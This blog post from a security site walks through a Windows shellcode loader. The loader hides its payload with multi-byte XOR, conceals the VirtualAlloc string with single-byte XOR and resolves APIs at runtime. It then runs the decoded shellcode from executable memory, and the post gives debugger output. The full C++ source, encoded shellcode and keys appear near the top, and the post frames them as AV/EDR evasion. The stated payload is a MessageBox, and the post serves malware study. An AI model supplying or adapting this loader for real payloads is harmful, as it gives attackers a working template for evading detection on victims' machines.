> For the complete documentation index, see [llms.txt](https://blog.h4vox.site/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.h4vox.site/malware-techniques/xor-malware-execution.md).

# XOR Malware Execution

{% hint style="info" %} <mark style="color:$danger;">Warning: This blog discusses real-world malware obfuscation techniques, including code examples. Use this knowledge only for ethical security research, reverse engineering, or defensive purposes. Never use these methods to create or distribute malicious software.</mark>
{% endhint %}

If you landed directly on this post, make sure to check the [**previous blog on malware obfuscation basics** ](/malware-techniques/the-art-of-malware-obfuscation-greater-than.md)first , it’ll give you the foundation for what we’re about to do here. Now, getting straight into it: so far we’ve been tearing XOR apart not just *what it is*, but how it’s actually used in the real world: [**single-byte**](/malware-techniques/quickstart.md#method-1-single-byte-xor), [**rolling keys**](/malware-techniques/quickstart.md#method-2-rolling-single-byte-xor), and[ **multi-byte repeating keys**](/malware-techniques/quickstart.md#method-3-rolling-single-byte-xor)  the exact tricks that turn readable payloads, strings, and configs into messy-looking hex that hides in plain sight.

<mark style="color:yellow;">**Here i am using Multi-Byte Repeating Keys XOR obfuscation, where other's methods do the same operation...**</mark>

Here is a simple loader decrypts and runs shellcode at runtime, it's a full, self-contained example of a malware dropper/loader that hides its payload with multi-byte repeating XOR, obfuscates critical API strings with single-byte XOR, dynamically resolves Windows APIs to avoid import tables, allocates executable memory, and runs the decrypted shellcode. This is straight out of the playbook for real-world threats like stealers, RATs, or initial access tools the kind that slips past static AV and only shows its teeth in memory.

<mark style="color:$danger;">(Note: this is for educational purposes – don't run unknown shellcode on your main machine!) but don't worry i won't play with malwares : )</mark>

The full Loader code (Local Process injection using XOR Multi Key Obfuscation):

```cpp
#include <windows.h>
#include <iostream>
#include <vector>
#include <string>
#include <cstddef>
#include <iomanip>
#include <cctype>
#include <algorithm>

template <typename p>
void SMEout(const p& out) {
    std::cout << out << std::endl;
}

const std::vector<BYTE> shellcode = {  // XOR obfusticated shellcode
    0x22,0xe5,0x3f,0x0b,0xe2,0xcb,0xa9,0x87,0x36,0x7d,0xbe,0xef,0x12,0x75,0x07,0x39,
    0x8e,0xff,0xef,0xb9,0x5a,0x05,0x84,0x1d,0x96,0x26,0xec,0x8f,0x2c,0x7c,0xdd,0x2a,
    0xc6,0x93,0xf6,0x64,0x40,0x14,0x68,0x30,0x55,0xdf,0xee,0xd1,0x5a,0x3b,0xe1,0x32,
    0x94,0xe0,0x8f,0x26,0x5a,0x05,0x96,0xd4,0xe2,0xcc,0xc2,0xed,0x3e,0x14,0x17,0xb9,
    0x17,0xa0,0xff,0xee,0xd3,0xd6,0xbb,0x2a,0x9f,0xfc,0x80,0xa7,0x99,0x66,0x76,0x46,
    0x55,0xef,0x82,0xa7,0x13,0xe4,0x68,0xf3,0x5e,0x25,0xbe,0xef,0x12,0x7c,0xd3,0xb8,
    0xaa,0xc2,0xf6,0xee,0xc2,0x64,0x68,0xf3,0x96,0xb5,0x80,0xab,0x99,0x74,0x76,0x31,
    0xdf,0x7d,0x5d,0xb3,0x5a,0xcb,0x9f,0x46,0x9f,0x26,0x8a,0x67,0x5a,0x35,0x80,0x35,
    0xef,0x64,0xf6,0xde,0xd2,0x98,0x17,0xb9,0x17,0xa0,0xff,0xee,0xd3,0x0c,0xb6,0x0d,
    0x2f,0x93,0xf2,0xec,0x5e,0x10,0x5e,0x3d,0xe7,0x7c,0xcb,0x39,0x4a,0x0a,0x12,0xf3,
    0x9e,0x89,0xf7,0xee,0xc2,0x52,0x68,0x39,0x55,0xa1,0xf6,0xd1,0x56,0xbf,0x16,0x64,
    0x97,0xac,0x6e,0xd1,0x53,0xbf,0x52,0xf0,0x96,0xac,0x6e,0xae,0x4a,0x75,0x0e,0x26,
    0x87,0xf7,0xff,0xb7,0x53,0x6d,0x17,0x22,0x96,0x2e,0x52,0xcf,0x53,0x66,0xa9,0x98,
    0x86,0xec,0xe7,0xb5,0x2c,0x7c,0xdd,0x6a,0x37,0xe4,0x41,0x10,0xed,0x69,0x68,0x30,
    0x53,0x20,0x8e,0xee,0x12,0x34,0x17,0xc2,0x92,0xda,0x98,0xe8,0xed,0xe1,0x1f,0xbf,
    0x1f,0xad,0xbe,0xef,0x12,0x0a,0x1e,0xf5,0x4b,0xa3,0xbf,0xef,0x12,0x0a,0x1a,0xf5,
    0x5b,0x89,0xbf,0xef,0x12,0x7c,0x67,0xb1,0x9f,0x17,0xfb,0x6c,0x44,0x33,0xa9,0xad,
    0x96,0x9c,0x77,0xae,0xa8,0xc4,0xe3,0xda,0x88,0x52,0x6b,0xa7,0x77,0x4d,0x76,0x15,
    0xbf,0xc3,0x90,0xcf,0x5b,0x40,0x25,0x58,0xb3,0xc8,0x9e,0xa7,0x73,0x42,0x39,0x00,
    0xde,0xc0,0xdb,0x98,0x7d,0x5b,0x76,0x58,0xfe,0x8d,0x9e,0xcf,0x12,0x41,0x25,0x1d,
    0xac,0x9e,0x8c,0xc1,0x76,0x58,0x3a,0x78
};


void decoder(std::vector<BYTE>& sCode, const std::vector<BYTE> &key, std::string label) {
    if (key.empty()) {
        std::cerr << "Invalid or Missing Key" << std::endl;
        return;
    }
    std::transform(label.begin(), label.end(), label.begin(), ::tolower);

        if(label == "shcode") {
            for (std::size_t FrK = 0, SrK = 0; FrK < sCode.size(); ++FrK, ++SrK) {
                if (SrK >= key.size()) {
                    SrK = 0;
                }
                sCode[FrK] ^= key[SrK];
            }
        }

        else if (label == "fstring") {
            byte Skey = key[0];
            for (std::size_t i = 0; i < sCode.size(); ++i) {
                sCode[i] ^= Skey;
            }
        }
        else {
            SMEout("Unkknow Parameter");
        }
}

int main() {
    // Getting Base Address
    HMODULE Baseadd = GetModuleHandleA(NULL);
    std::vector<BYTE> MulKey = { 0xDE, 0xAD, 0xBE, 0xEF, 0x12, 0x34, 0x56, 0x78 };
    auto code = shellcode;

    // Debuging code
    std::cout << "[*] Base Adddress : 0x" << Baseadd << std::endl;
    SMEout("[*] Loader starting....");

    // Debuging code
    std::cout << "[*] Encoded Shellcode address: 0x" << std::hex << std::setfill('0') << std::setw(16) << reinterpret_cast<uintptr_t>(shellcode.data()) << std::endl;
    
    // Shellcode Obfuscation
 
        SMEout("[*] Decoding Shellcode"); 
        decoder(code, MulKey, "SHcode");

    // API Obfuscation
    
        std::string APISTRING = "\x88\xB7\xAC\xAA\xAB\xBF\xB2\x9F\xB2\xB2\xB1\xBD\xDE\x00\0"; // virtualALloc function
        std::vector<byte> APIBYTES(APISTRING.begin(), APISTRING.end());
        APIBYTES.push_back(0x00);

        decoder(APIBYTES, MulKey, "fstring");
        SMEout("[*] Decoding API Func");

        std::string Decoded_API(reinterpret_cast<char*>(APIBYTES.data()), APIBYTES.size() - 1);
        std::cout << "[*] After string decode: " << Decoded_API << "\n";
   
        HMODULE hKrnl32 = GetModuleHandleA("Kernel32.dll");

        using VirtualAlloc_t = LPVOID(WINAPI*)(LPVOID, SIZE_T, DWORD, DWORD);
        VirtualAlloc_t pVirtualAlloc = reinterpret_cast<VirtualAlloc_t>(
            GetProcAddress(hKrnl32, Decoded_API.c_str())
            );

    // Allocating Memory for shellcode

        LPVOID execMEM = pVirtualAlloc(NULL, code.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        // exeMEM return address of the PIC becasue this is complied binary version of exectable
        if (!execMEM) {
            std::cerr << "[*] Memory Allocation failed" << std::endl;
            return -1;
        }
        else {
            SMEout("[*] Allocated Memory");
        }

        memcpy(execMEM, code.data(), code.size());


    // Debuging code
    SMEout("[*] Shellcode copied to memory"); std::cout << "[*] Shellcode Base Address on Memory : 0x" << execMEM << "\n";

    // pointer to the code , Just "pointer to a function that takes no parameters and returns void".
    VOID(*func)() = reinterpret_cast<void (*)()>(execMEM);

    // Debuging code
    SMEout("[*] Function pointer pointed to the code");
    SMEout("[*] Executing Shellcode now....");
    func();
    SMEout("[*] Executed successfully");

    VirtualFree(execMEM, 0, MEM_RELEASE);
    return 0;
}
```

Now let's break it down block by block. I'll explain the logic in simple terms, like I'm walking you through a live debug session.

ok lets see, the malicious payload (shellcode) that's pre-obfuscated with multi-key XOR. The bytes look random because they are: the original shellcode (likely something like a reverse shell or injector) was XORed with the repeating key {0xDE, 0xAD, 0xBE, 0xEF, 0x12, 0x34, 0x56, 0x78} before being hardcoded here.

Why do this? Evasion 101. If the original shellcode had clear patterns (like "MZ" headers or "user32.dll" strings), AV signatures would catch it instantly. By obfuscating with multi-key XOR (which we explained last post – repeating cycle for randomness), the binary on disk shows no meaningful data. Static analysis tools like strings.exe or PEiD see garbage. The logic is to store it encrypted, decrypt at runtime (later in main), so it only becomes executable when the malware runs.

> In real malware, this shellcode could be anything – from downloading a next-stage payload to stealing credentials. Here, it's a benign test (like popping up MessageBox), but the concept is the same: hide the bad stuff until execution.

The Obfuscated shellcode that we used in code&#x20;

<figure><img src="/files/NSueiefYowhVQsBF4NFu" alt=""><figcaption></figcaption></figure>

When you compile and look at the binary before running, it's all about hiding. The shellcode payload shows up as a big blob of random-looking bytes in the .rdata section (as our Hex View confirms – that's the read-only data area where constants like this live). No clear instructions, no readable strings – just garbage.

<figure><img src="/files/nbiBUSUeB4SuKPkgiyFC" alt=""><figcaption><p>Obfuscated shellcode on .rdata</p></figcaption></figure>

Next the sneakiest parts of this loader we done **API obfuscation** and which actually completely wipes out any imports from the PE file, forcing everything to resolve at runtime using eg using GetProcAddress.

This is a deliberate, multi-step evasion technique that attackers use constantly in real-world droppers and loaders (RedLine, LummaC2, AsyncRAT, etc.). The goal is simple: make the binary look as boring and non-malicious as possible on disk, while still being able to call powerful Windows APIs like VirtualAlloc when it needs to.

```cpp
 std::string APISTRING = "\x88\xB7\xAC\xAA\xAB\xBF\xB2\x9F\xB2\xB2\xB1\xBD\xDE\x00\0";
 std::vector<byte> APIBYTES(APISTRING.begin(), APISTRING.end());
 APIBYTES.push_back(0x00);

 decoder(APIBYTES, MulKey, "fstring");
 SMEout("[*] Decoding API Func");

 std::string Decoded_API(reinterpret_cast<char*>(APIBYTES.data()), APIBYTES.size() - 1);
 std::cout << "[*] After string decode: " << Decoded_API << "\n";
   
 HMODULE hKrnl32 = GetModuleHandleA("Kernel32.dll");

 using VirtualAlloc_t = LPVOID(WINAPI*)(LPVOID, SIZE_T, DWORD, DWORD);
 VirtualAlloc_t pVirtualAlloc = reinterpret_cast<VirtualAlloc_t>(
     GetProcAddress(hKrnl32, Decoded_API.c_str())
     );
```

Let see the below import table there is no VirtualAlloc,

<figure><img src="/files/M12Rqu37u2cQ0kdoGVbd" alt=""><figcaption></figcaption></figure>

Now we statically observed where the obfuscated shellcode code loaded into the Loader executable code section and how API obfuscation hide the imports of particular function, then now focus on the runtime output and flow of this example – from startup to execution.

The Output something seems like :&#x20;

<figure><img src="/files/nqVIGoxz8HyqpIzfMRt4" alt=""><figcaption></figcaption></figure>

initially the  loader begins by printing:

```bat
[*] Base Adddress : 0x00007FF74BE80000
[*] Loader starting....
[*] Encoded Shellcode address: 0x00000208623224b0
```

This is the initial setup phase. The base address (0x00007FF74BE80000) is the starting point of the executable in memory – every Windows process loads at a base like this (ASLR randomizes it each run). The encoded shellcode address (0x00000208623224b0) points to where the obfuscated payload sits in the .rdata section. At this moment, the shellcode is still encrypted with multi-key repeating XOR, so it looks like random bytes, before getting into original payload..

Next, the output shows:

```bat
[*] Decoding Shellcode
[*] Decoding API Func
[*] After string decode: VirtualAlloc
```

This is the deobfuscation step, where the loader decrypts everything in memory. The "Decoding Shellcode" line means the multi-key XOR (repeating {0xDE, 0xAD, 0xBE, 0xEF, 0x12, 0x34, 0x56, 0x78}) is applied to the encoded bytes at 0x00000208623224b0, flipping them back to the original shellcode.

and the function which has been called for reversing back the obfuscated shellcode into the original one

<figure><img src="/files/696ZnmWuXEBr22qvX8sz" alt=""><figcaption></figcaption></figure>

The x64dbg memory dump before decoding would show obfuscated garbage (from the heap view in .rdata), but after calling XOR function mentioned in above image, it transforms into readable instructions and strings – as in ASCII hex : clear text like "Hey man. Its me Havox" "mewoo" "r32.dll" emerging at addresses like 0x0000020D79840130. -> you can see on below image...

<figure><img src="/files/rriXIxOeEiuJNe682slV" alt=""><figcaption></figcaption></figure>

After this the main part comes in, so now we obtained that deobfuscated shellcode from runtime but out intention is to load and execute into the memory, for that we wanted to resolve the virtualAlloc API that being obfuscated too..

Code snippnet for recall:

```cpp
 std::string APISTRING = "\x88\xB7\xAC\xAA\xAB\xBF\xB2\x9F\xB2\xB2\xB1\xBD\xDE\x00\0";
 std::vector<byte> APIBYTES(APISTRING.begin(), APISTRING.end());
 APIBYTES.push_back(0x00);

 decoder(APIBYTES, MulKey, "fstring");
 SMEout("[*] Decoding API Func");

 std::string Decoded_API(reinterpret_cast<char*>(APIBYTES.data()), APIBYTES.size() - 1);
 std::cout << "[*] After string decode: " << Decoded_API << "\n";
   
 HMODULE hKrnl32 = GetModuleHandleA("Kernel32.dll");

 using VirtualAlloc_t = LPVOID(WINAPI*)(LPVOID, SIZE_T, DWORD, DWORD);
 VirtualAlloc_t pVirtualAlloc = reinterpret_cast<VirtualAlloc_t>(
     GetProcAddress(hKrnl32, Decoded_API.c_str())
     );
```

The "Decoding API Func" decrypts the obfuscated API string ("\x88\xB7..." at its own address) using single-key XOR (0xDE), revealing "VirtualAlloc". This string was hidden to avoid static detection – no clear "VirtualAlloc" on disk means no AV flags for suspicious APIs. The output confirms it worked: "VirtualAlloc" now exists only in memory, ready for use.

Now comes one of the most critical evasion steps in this loader: resolving the actual address of VirtualAlloc at runtime and setting up the correct calling convention so the loader can safely call it as if it were a normal function – even though nothing about it is normal or static.

`The flow here is pure evasion: decryption happens at runtime, changing memory contents without touching the file.`&#x20;

Then VirtualAlloc (resolved from the decrypted string) creates a new memory region for the deobfuscated shellcode. It allocates space the size of the payload (MEM\_COMMIT | MEM\_RESERVE) with PAGE\_EXECUTE\_READWRITE permissions – that's ERW (Execute Read Write).

<figure><img src="/files/TeZBLH2SHjJpVMrppWal" alt=""><figcaption></figcaption></figure>

> Why ERW? The memory needs to be writable for copying the decrypted shellcode in, readable for access, and executable to run it as code. Without ERW, the OS would crash on execution attempt (page fault).

here were the final steps comes, After allocation, the deobfuscated shellcode (now clean at its temporary address) gets copied via memcpy to the ERW region at 0x0000020D79940000. This is the load step: the original .rdata copy is read-only, so copying to ERW ensures it can execute safely without modifying the binary.

The "Function pointer pointed" means casting that ERW address to a callable function – treating the memory as code. Then "Executing" calls it, running the shellcode from ERW. In this case, it pops "Hey man. Its me Havox" (benign), but real malware would inject or connect to C2 here. "Executed successfully" confirms it ran without crash, followed by VirtualFree to release the ERW region – cleaning traces.

<figure><img src="/files/WbADQpli5cFrZdHhPvta" alt=""><figcaption></figcaption></figure>

and the memory dump looks something like this on Allocated memory...

<figure><img src="/files/rriXIxOeEiuJNe682slV" alt=""><figcaption></figcaption></figure>

At finally, we use this XOR obfuscation to make AV/EDR evasion, and this is the finally shows MessageBox popup "Hey man, its me Havox", but real world attacks may inject something more advanced...

<figure><img src="/files/VUrPPaVUZruq6yzPQzq1" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://blog.h4vox.site/malware-techniques/xor-malware-execution.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
